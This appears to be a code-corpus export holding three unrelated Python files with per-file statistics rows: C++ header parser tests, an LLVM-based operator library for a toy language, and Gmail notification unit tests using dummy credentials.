)
),
name="m_stuff",
)
],
methods=[
Method(
return_type=None,
name=PQName(segments=[NameSpecifier(name="ComplexInit")]),
parameters=[
Parameter(
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="i",
)
],
has_body=True,
access="public",
constructor=True,
),
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(segments=[NameSpecifier(name="fn")]),
parameters=[],
access="public",
),
],
)
]
)
)
def test_initializer_with_initializer_list_2():
content = """
template <typename T> class future final {
public:
template <typename R>
future(future<R> &&oth) noexcept
: future(oth.then([](R &&val) -> T { return val; })) {}
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="future")], classkey="class"
),
template=TemplateDecl(
params=[TemplateTypeParam(typekey="typename", name="T")]
),
final=True,
),
methods=[
Method(
return_type=None,
name=PQName(segments=[NameSpecifier(name="future")]),
parameters=[
Parameter(
type=MoveReference(
moveref_to=Type(
typename=PQName(
segments=[
NameSpecifier(
name="future",
specialization=TemplateSpecialization(
args=[
TemplateArgument(
arg=Type(
typename=PQName(
segments=[
NameSpecifier(
name="R"
)
]
)
)
)
]
),
)
]
)
)
),
name="oth",
)
],
has_body=True,
template=TemplateDecl(
params=[TemplateTypeParam(typekey="typename", name="R")]
),
noexcept=Value(tokens=[]),
access="public",
constructor=True,
)
],
)
]
)
)
def test_class_with_arrays():
content = """
const int MAX_ITEM = 7;
class Bird {
int items[MAX_ITEM];
int otherItems[7];
int oneItem;
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Bird")], classkey="class"
)
),
fields=[
Field(
access="private",
type=Array(
array_of=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
size=Value(tokens=[Token(value="MAX_ITEM")]),
),
name="items",
),
Field(
access="private",
type=Array(
array_of=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
size=Value(tokens=[Token(value="7")]),
),
name="otherItems",
),
Field(
access="private",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="oneItem",
),
],
)
],
variables=[
Variable(
name=PQName(segments=[NameSpecifier(name="MAX_ITEM")]),
type=Type(
typename=PQName(segments=[FundamentalSpecifier(name="int")]),
const=True,
),
value=Value(tokens=[Token(value="7")]),
)
],
)
)
def test_class_fn_inline_impl():
content = """
class Monkey {
private:
static void Create();
};
inline void Monkey::Create() {}
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Monkey")], classkey="class"
)
),
methods=[
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(segments=[NameSpecifier(name="Create")]),
parameters=[],
static=True,
access="private",
)
],
)
],
functions=[
Function(
return_type=Type(
typename=PQName(segments=[FundamentalSpecifier(name="void")])
),
name=PQName(
segments=[
NameSpecifier(name="Monkey"),
NameSpecifier(name="Create"),
]
),
parameters=[],
inline=True,
has_body=True,
)
],
)
)
def test_class_fn_virtual_final_override():
content = """
struct Lemon {
virtual void foo() final;
virtual void foo2();
};
struct Lime final : Lemon {
void abc();
void foo2() override;
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Lemon")], classkey="struct"
)
),
methods=[
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(segments=[NameSpecifier(name="foo")]),
parameters=[],
access="public",
virtual=True,
final=True,
),
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(segments=[NameSpecifier(name="foo2")]),
parameters=[],
access="public",
virtual=True,
),
],
),
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Lime")], classkey="struct"
),
bases=[
BaseClass(
access="public",
typename=PQName(segments=[NameSpecifier(name="Lemon")]),
)
],
final=True,
),
methods=[
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(segments=[NameSpecifier(name="abc")]),
parameters=[],
access="public",
),
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(segments=[NameSpecifier(name="foo2")]),
parameters=[],
access="public",
override=True,
),
],
),
]
)
)
def test_class_fn_return_class():
content = """
class Peach {
int abc;
};
class Plumb {
class Peach *doSomethingGreat(class Peach *pInCurPtr);
class Peach *var;
};
class Peach *Plumb::myMethod(class Peach *pInPtr) {
return pInPtr;
}
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Peach")], classkey="class"
)
),
fields=[
Field(
access="private",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="abc",
)
],
),
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Plumb")], classkey="class"
)
),
fields=[
Field(
access="private",
type=Pointer(
ptr_to=Type(
typename=PQName(
segments=[NameSpecifier(name="Peach")],
classkey="class",
)
)
),
name="var",
)
],
methods=[
Method(
return_type=Pointer(
ptr_to=Type(
typename=PQName(
segments=[NameSpecifier(name="Peach")],
classkey="class",
)
)
),
name=PQName(
segments=[NameSpecifier(name="doSomethingGreat")]
),
parameters=[
Parameter(
type=Pointer(
ptr_to=Type(
typename=PQName(
segments=[NameSpecifier(name="Peach")],
classkey="class",
)
)
),
name="pInCurPtr",
)
],
access="private",
)
],
),
],
functions=[
Function(
return_type=Pointer(
ptr_to=Type(
typename=PQName(
segments=[NameSpecifier(name="Peach")], classkey="class"
)
)
),
name=PQName(
segments=[
NameSpecifier(name="Plumb"),
NameSpecifier(name="myMethod"),
]
),
parameters=[
Parameter(
type=Pointer(
ptr_to=Type(
typename=PQName(
segments=[NameSpecifier(name="Peach")],
classkey="class",
)
)
),
name="pInPtr",
)
],
has_body=True,
)
],
)
)
def test_class_fn_template_impl():
content = """
class Owl {
private:
template <typename T> int *tFunc(int count);
};
template <typename T> int *Owl::tFunc(int count) {
if (count == 0) {
return NULL;
}
return NULL;
}
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Owl")], classkey="class"
)
),
methods=[
Method(
return_type=Pointer(
ptr_to=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
)
),
name=PQName(segments=[NameSpecifier(name="tFunc")]),
parameters=[
Parameter(
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="count",
)
],
template=TemplateDecl(
params=[TemplateTypeParam(typekey="typename", name="T")]
),
access="private",
)
],
)
],
functions=[
Function(
return_type=Pointer(
ptr_to=Type(
typename=PQName(segments=[FundamentalSpecifier(name="int")])
)
),
name=PQName(
segments=[
NameSpecifier(name="Owl"),
NameSpecifier(name="tFunc"),
]
),
parameters=[
Parameter(
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="count",
)
],
has_body=True,
template=TemplateDecl(
params=[TemplateTypeParam(typekey="typename", name="T")]
),
)
],
)
)
def test_class_fn_inline_template_impl():
content = """
class Chicken {
template <typename T> static T Get();
};
template <typename T> T Chicken::Get() { return T(); }
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Chicken")], classkey="class"
)
),
methods=[
Method(
return_type=Type(
typename=PQName(segments=[NameSpecifier(name="T")])
),
name=PQName(segments=[NameSpecifier(name="Get")]),
parameters=[],
static=True,
template=TemplateDecl(
params=[TemplateTypeParam(typekey="typename", name="T")]
),
access="private",
)
],
)
],
functions=[
Function(
return_type=Type(
typename=PQName(segments=[NameSpecifier(name="T")])
),
name=PQName(
segments=[
NameSpecifier(name="Chicken"),
NameSpecifier(name="Get"),
]
),
parameters=[],
has_body=True,
template=TemplateDecl(
params=[TemplateTypeParam(typekey="typename", name="T")]
),
)
],
)
)
def test_class_fn_explicit_constructors():
content = """
class Lizzard {
Lizzard();
explicit Lizzard(int a);
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Lizzard")], classkey="class"
)
),
methods=[
Method(
return_type=None,
name=PQName(segments=[NameSpecifier(name="Lizzard")]),
parameters=[],
access="private",
constructor=True,
),
Method(
return_type=None,
name=PQName(segments=[NameSpecifier(name="Lizzard")]),
parameters=[
Parameter(
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="a",
)
],
access="private",
constructor=True,
explicit=True,
),
],
)
]
)
)
def test_class_fn_default_constructor():
content = """
class DefaultConstDest {
public:
DefaultConstDest() = default;
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="DefaultConstDest")],
classkey="class",
)
),
methods=[
Method(
return_type=None,
name=PQName(
segments=[NameSpecifier(name="DefaultConstDest")]
),
parameters=[],
access="public",
constructor=True,
default=True,
)
],
)
]
)
)
def test_class_fn_delete_constructor():
content = """
class A {
public:
A() = delete;
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="A")], classkey="class"
)
),
methods=[
Method(
return_type=None,
name=PQName(segments=[NameSpecifier(name="A")]),
parameters=[],
access="public",
constructor=True,
deleted=True,
)
],
)
]
)
)
def test_class_multi_vars():
content = """
class Grape {
public:
int a, b, c;
map<string, int> d;
map<string, int> e, f;
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Grape")], classkey="class"
)
),
fields=[
Field(
access="public",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="a",
),
Field(
access="public",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="b",
),
Field(
access="public",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="c",
),
Field(
access="public",
type=Type(
typename=PQName(
segments=[
NameSpecifier(
name="map",
specialization=TemplateSpecialization(
args=[
TemplateArgument(
arg=Type(
typename=PQName(
segments=[
NameSpecifier(
name="string"
)
]
)
)
),
TemplateArgument(
arg=Type(
typename=PQName(
segments=[
FundamentalSpecifier(
name="int"
)
]
)
)
),
]
),
)
]
)
),
name="d",
),
Field(
access="public",
type=Type(
typename=PQName(
segments=[
NameSpecifier(
name="map",
specialization=TemplateSpecialization(
args=[
TemplateArgument(
arg=Type(
typename=PQName(
segments=[
NameSpecifier(
name="string"
)
]
)
)
),
TemplateArgument(
arg=Type(
typename=PQName(
segments=[
FundamentalSpecifier(
name="int"
)
]
)
)
),
]
),
)
]
)
),
name="e",
),
Field(
access="public",
type=Type(
typename=PQName(
segments=[
NameSpecifier(
name="map",
specialization=TemplateSpecialization(
args=[
TemplateArgument(
arg=Type(
typename=PQName(
segments=[
NameSpecifier(
name="string"
)
]
)
)
),
TemplateArgument(
arg=Type(
typename=PQName(
segments=[
FundamentalSpecifier(
name="int"
)
]
)
)
),
]
),
)
]
)
),
name="f",
),
],
)
]
)
)
def test_class_static_const_var_expr():
content = """
class PandaClass {
static const int CONST_A = (1 << 7) - 1;
static const int CONST_B = sizeof(int);
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="PandaClass")],
classkey="class",
)
),
fields=[
Field(
access="private",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
),
const=True,
),
name="CONST_A",
value=Value(
tokens=[
Token(value="("),
Token(value="1"),
Token(value="<<"),
Token(value="7"),
Token(value=")"),
Token(value="-"),
Token(value="1"),
]
),
static=True,
),
Field(
access="private",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
),
const=True,
),
name="CONST_B",
value=Value(
tokens=[
Token(value="sizeof"),
Token(value="("),
Token(value="int"),
Token(value=")"),
]
),
static=True,
),
],
)
]
)
)
def test_class_fwd_struct():
content = """
class PotatoClass {
struct FwdStruct;
FwdStruct *ptr;
struct FwdStruct {
int a;
};
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="PotatoClass")],
classkey="class",
)
),
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="FwdStruct")],
classkey="struct",
),
access="private",
),
fields=[
Field(
access="public",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="int")]
)
),
name="a",
)
],
)
],
fields=[
Field(
access="private",
type=Pointer(
ptr_to=Type(
typename=PQName(
segments=[NameSpecifier(name="FwdStruct")]
)
)
),
name="ptr",
)
],
forward_decls=[
ForwardDecl(
typename=PQName(
segments=[NameSpecifier(name="FwdStruct")],
classkey="struct",
),
access="private",
)
],
)
]
)
)
def test_class_multi_array():
content = """
struct Picture {
char name[25];
unsigned int pdata[128][256];
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Picture")], classkey="struct"
)
),
fields=[
Field(
access="public",
type=Array(
array_of=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="char")]
)
),
size=Value(tokens=[Token(value="25")]),
),
name="name",
),
Field(
access="public",
type=Array(
array_of=Array(
array_of=Type(
typename=PQName(
segments=[
FundamentalSpecifier(
name="unsigned int"
)
]
)
),
size=Value(tokens=[Token(value="256")]),
),
size=Value(tokens=[Token(value="128")]),
),
name="pdata",
),
],
)
]
)
)
def test_class_noexcept():
content = """
struct Grackle {
void no_noexcept();
void just_noexcept() noexcept;
void const_noexcept() const noexcept;
void noexcept_bool() noexcept(true);
void const_noexcept_bool() const noexcept(true);
void noexcept_noexceptOperator() noexcept(noexcept(Grackle()));
void const_noexcept_noexceptOperator() const noexcept(noexcept(Grackle()));
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Grackle")], classkey="struct"
)
),
methods=[
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(segments=[NameSpecifier(name="no_noexcept")]),
parameters=[],
access="public",
),
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(segments=[NameSpecifier(name="just_noexcept")]),
parameters=[],
noexcept=Value(tokens=[]),
access="public",
),
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(
segments=[NameSpecifier(name="const_noexcept")]
),
parameters=[],
noexcept=Value(tokens=[]),
access="public",
const=True,
),
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(segments=[NameSpecifier(name="noexcept_bool")]),
parameters=[],
noexcept=Value(tokens=[Token(value="true")]),
access="public",
),
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(
segments=[NameSpecifier(name="const_noexcept_bool")]
),
parameters=[],
noexcept=Value(tokens=[Token(value="true")]),
access="public",
const=True,
),
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(
segments=[
NameSpecifier(name="noexcept_noexceptOperator")
]
),
parameters=[],
noexcept=Value(
tokens=[
Token(value="noexcept"),
Token(value="("),
Token(value="Grackle"),
Token(value="("),
Token(value=")"),
Token(value=")"),
]
),
access="public",
),
Method(
return_type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="void")]
)
),
name=PQName(
segments=[
NameSpecifier(
name="const_noexcept_noexceptOperator"
)
]
),
parameters=[],
noexcept=Value(
tokens=[
Token(value="noexcept"),
Token(value="("),
Token(value="Grackle"),
Token(value="("),
Token(value=")"),
Token(value=")"),
]
),
access="public",
const=True,
),
],
)
]
)
)
def test_class_volatile():
content = """
class Foo
{
public:
private:
volatile bool myToShutDown;
};
"""
data = parse_string(content, cleandoc=True)
assert data == ParsedData(
namespace=NamespaceScope(
classes=[
ClassScope(
class_decl=ClassDecl(
typename=PQName(
segments=[NameSpecifier(name="Foo")], classkey="class"
)
),
fields=[
Field(
access="private",
type=Type(
typename=PQName(
segments=[FundamentalSpecifier(name="bool")]
),
volatile=True,
),
name="myToShutDown",
)
],
)
]
)
)
| 38.240459
| 94
| 0.2641
| 4,714
| 113,230
| 6.260289
| 0.064064
| 0.108637
| 0.134933
| 0.156518
| 0.809122
| 0.763207
| 0.747891
| 0.732032
| 0.712683
| 0.675477
| 0
| 0.004828
| 0.665248
| 113,230
| 2,960
| 95
| 38.253378
| 0.773744
| 0.000574
| 0
| 0.683316
| 1
| 0.000708
| 0.085699
| 0.002651
| 0
| 0
| 0.000071
| 0
| 0.013461
| 1
| 0.013461
| false
| 0
| 0.000708
| 0
| 0.01594
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f729751bd00eae316fcc00d7b6a627402edd0ae3
| 6,271
|
py
|
Python
|
corelib.py
|
jaredvann/UntitledLanguage
|
456f3a636d62028a85ee61eb3a9f04214f799e78
|
[
"MIT"
] | 2
|
2020-02-07T13:20:03.000Z
|
2020-06-29T15:58:30.000Z
|
corelib.py
|
jaredvann/UntitledLanguage
|
456f3a636d62028a85ee61eb3a9f04214f799e78
|
[
"MIT"
] | 1
|
2020-05-09T07:22:42.000Z
|
2020-05-09T07:22:42.000Z
|
corelib.py
|
jaredvann/Untitled-Language
|
456f3a636d62028a85ee61eb3a9f04214f799e78
|
[
"MIT"
] | null | null | null |
import ctypes
import llvmlite.ir as ir
from CodeGen import LLVMCodeGenerator
from coretypes import *
from scopes import Scope
from typelib import *
ZERO = ir.Constant(ir.IntType(64), 0)
def _eq_Float(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.fcmp_ordered("==", args[0], args[1])
def _neq_Float(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.fcmp_ordered("!=", args[0], args[1])
def _eq_Int(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.icmp_signed("==", args[0], args[1])
def _neq_Int(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.icmp_signed("!=", args[0], args[1])
def _lt_Float(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.fcmp_ordered("<", args[0], args[1])
def _gt_Float(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.fcmp_ordered(">", args[0], args[1])
def _lte_Float(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.fcmp_ordered("<=", args[0], args[1])
def _gte_Float(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.fcmp_ordered(">=", args[0], args[1])
def _lt_Int(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.icmp_signed("<", args[0], args[1])
def _gt_Int(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.icmp_signed(">", args[0], args[1])
def _lte_Int(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.icmp_signed("<=", args[0], args[1])
def _gte_Int(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.icmp_signed(">=", args[0], args[1])
def _add_Int(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.add(args[0], args[1])
def _sub_Int(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.sub(args[0], args[1])
def _mul_Int(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.mul(args[0], args[1])
def _div_Int(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.sdiv(args[0], args[1])
def _rem_Int(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.srem(args[0], args[1])
def _add_Float(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.fadd(args[0], args[1])
def _sub_Float(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.fsub(args[0], args[1])
def _mul_Float(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.fmul(args[0], args[1])
def _div_Float(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.fdiv(args[0], args[1])
def _rem_Float(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.frem(args[0], args[1])
def _pow_Float(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.call(ir.Function(cg.module, ir.FunctionType(arg_types[0], arg_types), "pow"), args)
def _abs_Float(cg: LLVMCodeGenerator, args, arg_types):
return cg.builder.call(ir.Function(cg.module, ir.FunctionType(arg_types[0], arg_types), "fabs"), args)
def _index(cg: LLVMCodeGenerator, args, arg_types):
arr_ptr, index = args
return cg.builder.gep(arr_ptr, [ZERO, index])
scope = Scope()
scope.add_type(Array)
scope.add_type(Bool)
scope.add_type(Float)
scope.add_type(Int)
# Equalities
scope.add_function(FunctionType("==", [Bool, Bool], Bool, _eq_Int))
scope.add_function(FunctionType("!=", [Bool, Bool], Bool, _neq_Int))
scope.add_function(FunctionType("==", [Float, Float], Bool, _eq_Float))
scope.add_function(FunctionType("!=", [Float, Float], Bool, _neq_Float))
scope.add_function(FunctionType("==", [Int, Int], Bool, _eq_Int))
scope.add_function(FunctionType("!=", [Int, Int], Bool, _neq_Int))
# Comparisons
scope.add_function(FunctionType("<", [Float, Float], Bool, _lt_Float))
scope.add_function(FunctionType(">", [Float, Float], Bool, _gt_Float))
scope.add_function(FunctionType("<=", [Float, Float], Bool, _lte_Float))
scope.add_function(FunctionType(">=", [Float, Float], Bool, _gte_Float))
scope.add_function(FunctionType("<", [Int, Int], Bool, _lt_Int))
scope.add_function(FunctionType(">", [Int, Int], Bool, _gt_Int))
scope.add_function(FunctionType("<=", [Int, Int], Bool, _lte_Int))
scope.add_function(FunctionType(">=", [Int, Int], Bool, _gte_Int))
# Math Operators
scope.add_function(FunctionType("+", [Float, Float], Float, _add_Float))
scope.add_function(FunctionType("-", [Float, Float], Float, _sub_Float))
scope.add_function(FunctionType("*", [Float, Float], Float, _mul_Float))
scope.add_function(FunctionType("/", [Float, Float], Float, _div_Float))
scope.add_function(FunctionType("%", [Float, Float], Float, _rem_Float))
scope.add_function(FunctionType("^", [Float, Float], Float, _pow_Float))
scope.add_function(FunctionType("+", [Int, Int], Int, _add_Int))
scope.add_function(FunctionType("-", [Int, Int], Int, _sub_Int))
scope.add_function(FunctionType("*", [Int, Int], Int, _mul_Int))
scope.add_function(FunctionType("/", [Int, Int], Int, _div_Int))
scope.add_function(FunctionType("%", [Int, Int], Int, _rem_Int))
# Math Functions
scope.add_function(FunctionType("abs", [Float], Float, _abs_Float, no_mangle=True))
scope.add_function(FunctionType("floor", [Float], Float, no_mangle=True))
scope.add_function(FunctionType("ceil", [Float], Float, no_mangle=True))
scope.add_function(FunctionType("round", [Float], Float, no_mangle=True))
scope.add_function(FunctionType("sqrt", [Float], Float, no_mangle=True))
scope.add_function(FunctionType("exp", [Float], Float, no_mangle=True))
scope.add_function(FunctionType("log", [Float], Float, no_mangle=True))
scope.add_function(FunctionType("log10", [Float], Float, no_mangle=True))
scope.add_function(FunctionType("log2", [Float], Float, no_mangle=True))
scope.add_function(FunctionType("sin", [Float], Float, no_mangle=True))
scope.add_function(FunctionType("cos", [Float], Float, no_mangle=True))
scope.add_function(FunctionType("tan", [Float], Float, no_mangle=True))
scope.add_function(FunctionType("index", [Type("Array", [Bool], ['N']), Int], Bool.to_ref(), _index))
scope.add_function(FunctionType("index", [Type("Array", [Int], ['N']), Int], Int.to_ref(), _index))
scope.add_function(FunctionType("index", [Type("Array", [Float], ['N']), Int], Float.to_ref(), _index))
scope.add_function(FunctionType("putchar", [Int], Int, no_mangle=True))
# scope.add_function(FunctionType("sum", [Type("Array", [Int], ['N'])], Int))
| 39.19375
| 106
| 0.721735
| 894
| 6,271
| 4.828859
| 0.097315
| 0.085244
| 0.155664
| 0.272411
| 0.861246
| 0.845031
| 0.804957
| 0.724346
| 0.519805
| 0.276581
| 0
| 0.00921
| 0.099665
| 6,271
| 160
| 107
| 39.19375
| 0.755402
| 0.020411
| 0
| 0
| 0
| 0
| 0.023949
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.240385
| false
| 0
| 0.057692
| 0.230769
| 0.538462
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
f7480f3e539e6a5a37c384afe5dfd090218811f7
| 21,016
|
py
|
Python
|
test/test_gmail/test_gmail.py
|
cmc333333/parsons
|
50804a3627117797570f1e9233c9bbad583f7831
|
[
"Apache-2.0"
] | null | null | null |
test/test_gmail/test_gmail.py
|
cmc333333/parsons
|
50804a3627117797570f1e9233c9bbad583f7831
|
[
"Apache-2.0"
] | 2
|
2021-11-24T19:39:57.000Z
|
2022-01-03T23:03:35.000Z
|
test/test_gmail/test_gmail.py
|
cmc333333/parsons
|
50804a3627117797570f1e9233c9bbad583f7831
|
[
"Apache-2.0"
] | null | null | null |
from parsons.notifications.gmail import Gmail
import json
import os
import requests_mock
import unittest
import shutil
import base64
import email
_dir = os.path.dirname(__file__)
class TestGmail(unittest.TestCase):
@requests_mock.Mocker()
def setUp(self, m):
self.tmp_folder = "tmp/"
self.credentials_file = f"{self.tmp_folder}/credentials.json"
self.token_file = f"{self.tmp_folder}/token.json"
os.mkdir(self.tmp_folder)
with open(self.credentials_file, 'w') as f:
f.write(json.dumps({
"installed": {
"client_id": "someclientid.apps.googleusercontent.com",
"project_id": "some-project-id-12345",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://www.googleapis.com/oauth2/v3/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_secret": "someclientsecret",
"redirect_uris": ["urn:ietf:wg:oauth:2.0:oob", "http://localhost"]
}
}))
with open(self.token_file, 'w') as f:
f.write(json.dumps({
"access_token": "someaccesstoken",
"client_id": "some-client-id.apps.googleusercontent.com",
"client_secret": "someclientsecret",
"refresh_token": "1/refreshrate",
"token_expiry": "2030-02-20T23:28:09Z",
"token_uri": "https://www.googleapis.com/oauth2/v3/token",
"user_agent": None,
"revoke_uri": "https://oauth2.googleapis.com/revoke",
"id_token": None,
"id_token_jwt": None,
"token_response": {
"access_token": "someaccesstoken",
"expires_in": 3600000,
"scope": "https://www.googleapis.com/auth/gmail.send",
"token_type": "Bearer"
},
"scopes": ["https://www.googleapis.com/auth/gmail.send"],
"token_info_uri": "https://oauth2.googleapis.com/tokeninfo",
"invalid": False,
"_class": "OAuth2Credentials",
"_module": "oauth2client.client"
}))
self.gmail = Gmail(self.credentials_file, self.token_file)
def tearDown(self):
# Delete tmp folder and files
shutil.rmtree(self.tmp_folder)
def test_create_message_simple(self):
sender = "Sender <sender@email.com>"
to = "Recepient <recepient@email.com>"
subject = "This is a test email"
message_text = "The is the message text of the email"
msg = self.gmail._create_message_simple(
sender, to, subject, message_text)
raw = self.gmail._encode_raw_message(msg)
decoded = email.message_from_bytes(
base64.urlsafe_b64decode(bytes(raw['raw'], 'utf-8')))
expected_items = [
('Content-Type', 'text/plain; charset="us-ascii"'),
('MIME-Version', '1.0'),
('Content-Transfer-Encoding', '7bit'),
('to', to),
('from', sender),
('subject', subject)]
# Check the metadata
self.assertListEqual(decoded.items(), expected_items)
# Check the message
self.assertEqual(decoded.get_payload(), message_text)
# Check the number of parts
expected_parts = 1
self.assertEqual(sum([1 for i in decoded.walk()]), expected_parts)
def test_create_message_html(self):
sender = "Sender <sender@email.com>"
to = "Recepient <recepient@email.com>"
subject = "This is a test html email"
message_text = "The is the message text of the email"
message_html = "<p>This is the html message part of the email</p>"
msg = self.gmail._create_message_html(
sender, to, subject, message_text, message_html)
raw = self.gmail._encode_raw_message(msg)
decoded = email.message_from_bytes(
base64.urlsafe_b64decode(bytes(raw['raw'], 'utf-8')))
expected_items = [
('Content-Type', 'multipart/alternative;\n boundary='),
('MIME-Version', '1.0'),
('subject', subject),
('from', sender),
('to', to)]
# The boundary id changes everytime. Replace it with the beginnig to
# avoid failures
updated_items = []
for i in decoded.items():
if 'Content-Type' in i[0] and 'multipart/alternative;\n boundary=' in i[1]: # noqa
updated_items.append(
('Content-Type', 'multipart/alternative;\n boundary='))
else:
updated_items.append((i[0], i[1]))
# Check the metadata
self.assertListEqual(updated_items, expected_items)
